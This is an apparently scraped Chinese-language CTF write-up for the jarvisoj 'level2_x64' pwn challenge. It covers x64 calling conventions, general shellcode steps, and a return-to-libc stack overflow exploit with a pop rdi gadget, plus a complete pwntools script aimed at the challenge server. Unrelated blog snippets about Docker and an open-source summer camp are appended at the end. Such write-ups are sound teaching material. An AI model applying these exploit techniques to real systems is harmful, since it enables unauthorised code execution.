首先:
linux_64與linux_86(32位)的區別主要有兩點:
首先是記憶體位址的範圍由32位變成了64位。但是可以使用的記憶體位址不能大於0x00007fffffffffff,否則會丟擲異常。其次是32位是通過棧傳參,而64位通過edi暫存器傳參,函式引數的傳遞方式發生了改變,x86(32位)中引數都是儲存在棧上,但在x64中的前六個引數依次儲存在rdi,rsi,rdx,rcx,r8和 r9中,如果還有更多的引數的話才會儲存在棧上。
做pwn的level題目的步驟(技巧):
(1)找到棧溢位位址,基本上都是buf的位址,這個需要用32位或64進行轉碼後儲存(避免發生亂碼)才能用pwntools中sendline傳送到遠端連線
(2)構建shellcode,基本都是「shellcode=asm(shellcraft.sh())」
(3)構建payload,payload的基本構建:payload=shellcoad+』 a』 *乙個長度+p64(buf_addr),次序一定不能亂』
(4):傳送payload,進行互動,得到shell的控制權,然後ls,cat flag。
今天我來總結一下pwn的level2_x64:
我們直接把題目放進ubuntu虛擬機器檢視題目:
發現題目的arch模組是64位的;nx保護模式開啟,就沒有辦法直接插入shellcode來執行了,但是我們可以看到程式呼叫了system函式,
所以我們可以通過return2libc來繞過nx,直接傳入binsh引數來開啟伺服器的shell
接下把檔案放進idax64分析:
1)發現函式有system函式,於是按f5檢視偽**:找主函式(main)和vulnerable()函式在然後vulnerable()函式中有乙個read函式存在棧溢位漏洞。
因為題目的nx保護模式開啟,所無法構建shellcode拿到shell,所以我們要想辦法洩露記憶體資訊,找到system()函式的值,然後在傳遞「/bin/sh」到.bss段。因為源程式使用了write()函式和read()函式,又因為題目中有libc()函式,所以可以通過write()去輸出write.got的位址,從而計算libc.so在記憶體中的位址
我們使用pop_ret將我們寫到棧中的引數放到rdi中(大佬們稱此為平衡棧幀)。
接下來我們只要找到乙個pop rdi;ret 就可以了。
這裡,我們使用ropgadget尋找這個指令片段
找字串(string):
快捷:
基礎:
找到pop rdi ; ret 片段的位址,我們直接利用起來構造payload就行了
#!/usr/bin/env python
from pwn import *
p=remote(『pwn2.jarvisoj.com』,9882)
p.recvuntil(『input:』)
system_addr=0x04004c0
pop_addr=0x04006b3
sh_addr=0x0600a90
payload=『a』*0x80+『a』*8+p64(pop_addr)+p64(sh_addr)+p64(system_addr)+『a』*8
p.sendline(payload)
執行結果:
更容易理解部落格:
開源夏令營 二 Docker 環境搭建
在不同發行版上面如何安裝,官方的文件寫得很明白了 點此傳送 在這裡,就以我使用的是 ubuntu server 14.04 為例,介紹下在這個系統下面的安裝 首先是docker倉庫公鑰 sudo apt key adv keyserver hkp recv keys 36a1d7869245c895...
2023年開源夏令營第1周
這是選定題目開始的第一周,其實看了報名名單之後,覺得自己並沒有太大希望,所以報名之後也沒做什麼實質性工作,再次感謝康師傅,對我的信任。第一周一般都是具體規劃分析的階段,實驗了不少方案,我也藉此平台整理一下自己的思路吧。按照題目第一階段要求,我所需要做的事情主體上是將hackrf的驅動移植到andro...
開源夏令營第七周 lwip穩定性測試
將龍芯2f筆記本作為tcp client,開發板作為 tcp server 筆記本構造隨機長度 長度在1 1000之間 的隨機字串,tcp server作為回顯伺服器 利用單執行緒的阻塞模型,測試了3 24小時 一切收發正常,傳送420658個字串,接收420658個字串,平均來看乙個字串有0.5k...